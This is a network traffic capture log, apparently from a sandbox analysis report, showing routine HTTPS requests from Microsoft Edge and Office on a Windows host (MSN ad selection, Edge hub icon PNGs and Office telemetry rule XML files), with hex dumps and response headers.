Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49837	20.96.153.111	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3A4078140C106EC03F536D2D0D356F1D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=56aa42db63824b02b9faabe16426a3a2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1
2024-11-16 18:22:31 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2678 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132715-T700344098-C128000000002114009+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114009+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 16 Nov 2024 18:22:30 GMT Connection: close
2024-11-16 18:22:31 UTC	2678	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 50 69 72 69 6e 20 4d 6f 75 6e 74 61 69 6e 73 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 50 69 72 69 6e 2b 4d 6f 75 6e 74 61 69 6e 73 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Pirin Mountains\",\"cta\":\"https:\/\/www.bing.com\/search?q=Pirin+Mountains

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 089a25c2-e01e-0052-7e86-37d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182231Z-164f84587bfdt5l2hC1DFW88gs00000001h0000000008cfr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 2e60cfa9-601e-005c-390f-36f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182231Z-1866b5c5fbbpxkkxhC1DFWhvmc00000003bg00000000k7vm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182231Z-1866b5c5fbbr78bbhC1DFWqz2n000000035g00000000mkww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182231Z-1866b5c5fbb7km9phC1DFWr2sc00000001yg00000000dz3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49843	13.107.246.57	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:31 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: ae232eab-301e-004d-3cea-37aee5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182231Z-164f84587bfdfkt7hC1DFW4fas000000017g000000006430 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182231Z-16547b76f7fwggrphC1DFW2a8s00000001z000000000kz5u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49846	13.107.246.57	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:31 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 1f52c3f9-d01e-0047-4e42-38b76c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182231Z-164f84587bfrrmqdhC1DFWvu6s00000001pg00000000n7v5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49845	13.107.246.57	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:31 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 3a8e668c-201e-0052-1143-3775f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182231Z-164f84587bfm8kdnhC1DFWey4g000000034g00000000nxcu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49848	13.107.246.57	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:31 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 1bc5532a-c01e-003e-451d-37de26000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182231Z-16547b76f7fgvq8chC1DFWhd2w00000003s0000000009z1q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49849	13.107.246.57	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:31 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 8c1ed240-601e-0033-6adf-37312a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182231Z-16547b76f7fwm7vghC1DFW900s00000000s000000000aux2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
